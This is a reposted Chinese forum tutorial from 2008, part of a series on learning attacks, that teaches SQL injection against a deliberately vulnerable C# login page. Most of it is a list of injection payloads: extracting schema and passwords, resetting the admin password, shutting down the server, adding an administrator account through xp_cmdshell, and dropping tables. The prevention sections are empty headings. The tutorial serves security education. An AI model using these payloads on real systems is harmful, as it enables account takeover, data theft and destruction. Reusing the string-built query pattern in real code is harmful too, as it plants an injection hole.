拼吾爱程序人生

首页 » .Net编程 » Visual Studio.NET » 攻击方式学习之(2) - SQL注入(SQL Injection)
cobra - 2008-9-6 13:06:00
简介

有些网站将直接拿用户的输入 来拼接SQL语句,进行查询等操作,同时也将错误信息暴露给用户。这就给不怀好意的同学可乘之机,利用输入一些奇特的查询字符串,拼接成特定的SQL语 句,即可达到注入的目的。不仅可以获取数据库重要信息,权限没有设置好的话甚至可以删除掉整个表。因此,SQL注入漏洞还是相当的严重的。发现以前偶刚学写的网站的时候也是靠拼接SQL语句吃饭滴……

示例

为了更好了学习和了解SQL注入的方法,做了一个示例网页,界面如下:

 附件: 您所在的用户组无法下载或查看附件

点击登陆这块的代码如下,注意第5行,我们使用了拼接SQL语句:

private void Login()
{

string uname = tbName.Text;

string pwd = tbPassword.Text;

string sqlCmd = "select * from [Users] where UserName = '" + uname + "'";

string sqlCmdRep = sqlCmd.Replace("Users", "XXX").Replace("UserName", "XXX");

lbSQL.Text = sqlCmdRep;

try

{

DataTable dt = DataSQLServer.GetDataTable(sqlCmd);

gvResult.DataSource = dt;

gvResult.DataBind();

if (dt.Rows.Count == 1 && pwd == dt.Rows[0]["Password"].ToString())

{

lbRes.Text = dt.Rows[0]["UserName"] + " Login Success!";

}

else if(dt.Rows.Count == 0)

{

lbRes.Text = uname + " not exist!";

}

else

{

lbRes.Text = "Login Fail!";

}

}

catch (Exception ex)

{

lbRes.Text = "Error: " + ex.Message;

}
}


详细具体的注入方法就不一一介绍了,欢迎下载该示例程序进行实战演练,点击界面的“注入指南”有详细的注入说明:

1. 试探是否能够注入
      '
2. 试探管理员用户名
      XXX
3. 猜表名
        admin'or 0>(select count(*) from [XXX]) --
    更狠的方法直接取表名:
    admin' and (Select Top 1 name from sysobjects where xtype='U')>0  --
4. 猜列名
      admin'and 0< (select count(XXX) from [Users]) --
    再来狠的取列名:
    admin' and (Select top 1 col_name(object_id('Users'), 3) from [Users])>0  --
5. 猜密码长度
      admin'and 1=(select count(*) from [Users] where len(Password)<XXX) --
6. 猜密码
        admin'and 1=(select count(*) from [Users] where left(Password,2)='XX') --
----------------------------------------------------------------------------------------------
在探测出了表名和列表的时候,可以使用终极武器,直接修改admin的密码,或者做更加恶劣的破坏行为:
      admin';update [Users] set Password='123' where UserName='admin' --
----------------------------------------------------------------------------------------------
其他恶劣行为:
1. 直接关闭偶的SQL服务
    admin';shutdown --
2. 如果使用sa用户并可能遭受的攻击:在偶机器上添加用户,并加入某个组织:
    admin';exec master..xp_cmdshell "net user name password /add" --
    admin';exec master..xp_cmdshell "net localgroup name administrators /add" --
3. 直接备份数据库,然后下载下来,非常恶劣,建议不要对我使用。
    admin';backup database Test to disk='d:"1.db'--
4. 直接删表,慎用啊
    admin';drop table abc --
----------------------------------------------------------------------------------------------
其他经验总结:
1. 绕过单引号过滤
    where xtype='U'        ===>    where xtype=char(85)
    where name='用户'    ===>    where name=nchar(29992)+nchar(25143)
2. 取数据库名称
    admin' and db_name()>0 --
----------------------------------------------------------------------------------------------

后面会介绍到如何安全的组装SQL语句。

示例程序下载 :

 附件: 您所在的用户组无法下载或查看附件



(文/coderzh  出处/http://www.cnblogs.com/coderzh/)

 您可能对 [Visual Studio.NET] 的这些文章也感兴趣:

在Visual Studio 2005中打开Share Source CLI 2.0(Rotor)
Windows HPC Server介绍
让 .NET 程序 Autorun
MOSS中创建自定义内容类型
XNA 多光源镜面反射
Windows Workflow Foundation 之旅---(1)Hello,Workflow!
UsingthenewASP.NETv2.0SMTPClass
从控件开发的角度看几个editor控件
基于VS Shell的魔兽世界插件开发工具
MonoRail和WebForm,谁是瑞士军刀
cobra - 2008-9-6 13:08:00
探测


实施方式详见示例网站

危害



防范

在示例中也说明了如何防范,在这里再精炼一下所谓的防止SQL注入四大法宝:


参考资料




下一篇是更好玩的:攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)
1
查看完整版本: 攻击方式学习之(2) - SQL注入(SQL Injection)
Modify by pin5i DZNT_ExpandPackage 2.1.3258 2007-2008 pin5i.com